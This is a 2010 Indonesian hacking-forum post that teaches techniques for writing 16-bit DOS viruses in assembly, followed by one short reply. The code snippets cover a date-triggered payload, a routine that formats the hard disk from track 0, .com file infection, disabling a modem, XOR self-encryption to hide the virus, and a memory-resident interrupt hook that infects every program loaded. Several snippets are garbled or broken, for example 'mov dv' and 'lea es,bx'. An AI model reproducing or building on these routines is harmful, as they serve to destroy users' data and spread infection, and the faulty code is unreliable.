Devilzc0de Forum Follow @devilzc0de
  • Home
  • Hacking
  • Networking
  • Programming
  • O.S
  • Server
  • Tweets
  • Search
  • Member List
  • Calendar
Current time: 05-19-2013, 01:32 AM Hello There, Guest! (Login — Register)
Devilzc0de Forum › Information Technology › Programming › Assembly v
« Previous 1 2 3 Next »

Teknik 2 Virus Assembly 16 bit

Home General Computer Multimedia Business Lounge

Post Reply 
Tweet
Threaded Mode | Linear Mode
Teknik 2 Virus Assembly 16 bit
08-06-2010, 01:01 AM
Post: #1
mywisdom Offline
Administrator
*******
Administrators
Posts: 921
Joined: Dec 2009
Reputation: 44
Teknik 2 Virus Assembly 16 bit
Sekilas Asm 16 bit
Ok sebelum mulai kita adakan sedikit intro tentang asm 16 bit. Dalam model pemrograman asm 16 bit kita masih banyak menjumpai register 8 bit misal: ah,al,bh,bl,ch,cl,dh,dl
sedangkan register 2 dalam model pemrograman asm 16 bit adalah:
ax,bx,cx,dx,sp,bp,di,si,ip,sp,dll....
sedikit info tambahan:
register 2 seperti ax,bx,cx,dx merupakan register akumulator serba guna
register ip merupakan register yang mengalamati isntruksi selanjutnya (instruction pointer), merujuk ke return address
resiter sp (stack pointer) merupakan sebuah alamat memori yang biasa disebut sebagai stack yang menganut sistem kerja LIFO (Last in first Out) -> yg pernah belajar akuntansi biaya pasti ngerti sistem tumpukan lifo ini.

Beberapa instruksi Dasar asm
lea : load effective address , misal lea dx,offset pesan -> menghitung alamat memori secara efektif dari variabel pesan ke register dx

jz : jump if zero -> locat jika tidak ada sisa atau zero (misal setelah cmp atau div)

jc: jump if carry -> loncat jika ada sisa

cmp : compare 2 buah register

mov : move, misal: mov ah,00

call: panggil -> untuk memanggil suatu makro

push : dorong -> memasukkan data ke stack

pop : ambil -> mengambil data dari stack

div : divide -> membagi

add: add-> menambah

adc : add if carry (carry=sisa), tambah jika ada sisa

jmp :jump -> loncat ke suatu makro

jnz: jump if not zero -> kebalikan dari jump if zero

int: interup -> pemanggilan interup (daftar interup dan syarat 2 pengisian register bisa dilihat di http://www.htl-steyr.ac.at/~morg/pcinfo/...e1at0.htm)

xor exclusive or (biasa digunakan untuk mereset atau mengosongkan register)

movs = Move Data from String to String
movsb =Move Data from String to Byte

dll...

ok langsung aja kita lanjut ke contoh-contoh rutin virus asm 16 byte

Teknik Timing Bomb

Teknik pemrograman virus yang bekerja dengan cara pengecekan jam di bios komputer, contoh kode asm untuk mengecek tanggal di bios dengan menggunakan interup 1 a fungsi 4 (daftar fungsi 2 interup di ms dos bisa anda lihat di http://www.htl-steyr.ac.at/~morg/pcinfo/...1at0.htm), contoh rutin timing bomb untuk menampilkan pesan tiap tanggal 25 desember :
pesan db 'Selamat Hari Natal dari sang virus hahahaha',0dh,0ah,'$'
rutin_timer:
xor cx,cx ; reset register cx
mov ah, 04h ; syarat penggunaan int 1 a, ah harus diisi 4 hexa
int 1A ; eksekusi interup 1 a fungsi 4 hexa

;cek hasil eksekusi di register dx

cmp dx,2512 ; 2512 apakah tanggal 25 desember
jz makro_aksi_virus ; jump if zero ke makro_aksi_virus

makro_aksi_virus:
mov ah,09h ;syarat int 21h 09h , register ah harus diisi nilai 9 hexa
lea dx, offset pesan ; load effective address ke register dx
int 21h ;interup dos fungsi 21 hexa

Rutin Perusak Sistem

ok berikut ini adalah contoh rutin yang dibundel dalam makro perusak untuk merusak suatu sistem dengan cara melakukan pemformatan terhadap drive dari track 0 hardisk (misal hardisk drive 0)

perusak:
mov ah,05
mov cx,0
mov dh,0
mov dl, 80h
lea es,bx
int 13 h ; eksekusi int 13 hexa fungsi ke 5

Rutin Infeksi pada file .com

Untuk membuat virus non overwriting target file akan sangat kompleks karena ada perhitungan psp header file, untuk kali ini saya akan memberikan contoh teknik infeksi file dengan metode ini.
pertama virus menghitung size file lama dikurangi 3 byte.
(pada dasarnya teknik ini bukan benar2 tidak melakukan penimpaan terhadap file tapi tetap dilakukan penggantian beberapa byte kode di header file berekstensi .com)
contoh rutin untuk mengganti byte asli file :
mov di, 100h
mov di, offset simpan_byte ;simpan byte sudah didefinisikan
movsw ;konvert string ke word
movsb ;konvert string ke byte

;mengembalikan kontrol ke program asli

mov di, 100h
jmp di

Mematikan Koneksi Internet Wireless di laptop dengan virus

berikut ini sample virus yang menyebalkan yang berusaha mematikan koneksi internet anda yang dibundel dalam makro

matikan_internal_modem:
mov ah,44h
mov al,00
int 15 h

Mengamankan keberadaan virus dengan enksripsi xor

contoh rutin:

enkripsi_val db ?
decrypt:

enkripsi:
mov ah, enkripsi_val
mov cx, bagian_enkrip_end-bagian_enkrip_start
mov si, bagian_enkrip_start
mov di,si

xor loop:
lodsb
xor al,ah
stosb
loop xor_loop
ret

Teknik TSR (Terminate and Stay Resident)

Teknik ini akan membuat virus resident yang akan menginfeksi setiap program yang diload di memori. misal dengan menggunakan interup 21 h fungsi 25 h
(AH = 25h

AL = interrupt number

DSketawaX = pointer to interrupt handler

returns nothing

- provides a safe method for changing interrupt vectors
)

ok mari kita tengok lebih lanjut tentang metode ini,
sample makro yang menggunakan metode ini:

;awal rutin residen
bios_routine:
mov ah,25h ; set alamat vektor interup
mov al,13 h ; interup ke sekian akan diset ke dalam al
mov dx, offset kode_virus ; hasil int 13 h ke sekian merujuk ke kode virus

int 21h ; gunakan interup 21 h fungsi 25 h

mov dv, offset bios_routine
int 27h

bios_routine ENDP ;akhir makro residen

ok sekian dulu krn harus kerja lagi kita lanjut lain kali hauahauahaua
Find all posts by this user
Quote this message in a reply
08-06-2010, 01:09 AM
Post: #2
spidernet Offline
./Devilz 1st Cadet
Posts: 7
Joined: Apr 2010
Reputation: 0
RE: Teknik 2 Virus Assembly 16 bit
Hayah... ngelu-ngelu om aye.. yg di forum sana aye lom lulus.. tambah teknik meneh..
Find all posts by this user
Quote this message in a reply
« Next Oldest | Next Newest »
Post Reply 


Topic Tools
Topic Link :
BBCode :
HTML Code :
View a Printable Version Send Thread to a Friend Subscribe to this thread
Submit Google Submit Face book Submit to Digg Submit to Reddit Submit to Furl Submit to Del.icio.us Submit to Jeqq

Possibly Related Threads...
Thread: Author Replies: Views: Last Post
  Assembly 32 bit and shellc0d3 mywisdom 2 1,955 02-11-2013 08:56 PM
Last Post: ghosthands
  The Art Of Assembly ian182 8 1,583 02-08-2013 10:49 PM
Last Post: ghosthands
  Just another guy asking how to learn assembly ? mandi 3 259 02-08-2013 10:47 PM
Last Post: ghosthands
  Pemrograman Assembly di Windows dengan masm32+ debugging dg ollydbg mywisdom 6 1,434 01-24-2013 08:21 PM
Last Post: Jehuda
  method/fungsi pada assembly syn_attack 4 482 05-19-2012 12:35 AM
Last Post: zard22
  pemrograman di ms dos dengan assembly 16 bit+ analisa beberapa virus asm mywisdom 8 1,766 01-21-2012 04:04 AM
Last Post: oootrxooo
Tongue [Tutor] Iseng with Assembly nyiurmelambai 12 1,122 01-17-2012 05:30 PM
Last Post: darkdante
  intruksi assembly kiddies 6 1,652 01-12-2012 11:20 PM
Last Post: filmar
  How to Translate your perl script into c and assembly ev1lut10n 5 883 10-24-2011 08:15 PM
Last Post: syn_attack
Bug [Ask] Assembly Pada UBUNTU bogenk 9 2,227 05-20-2011 10:33 PM
Last Post: bogenk

Users Browsing
1 Guest(s)

  • Contact Us
  • devilzc0de
  • Return to Top
  • Mobile Version
  • RSS Syndication
  • Help
Current time: 05-19-2013, 01:32 AM Powered By MyBB, © 2002-2013 MyBB Group. Theme created by Justin S. | Mixed By Chaer.Newbie | Fixed By Aditya

USING THIS SITE INDICATES THAT YOU HAVE READ AND ACCEPT OUR TERMS. IF YOU DO NOT ACCEPT THESE TERMS, YOU ARE NOT AUTHORIZED TO USE THIS SITE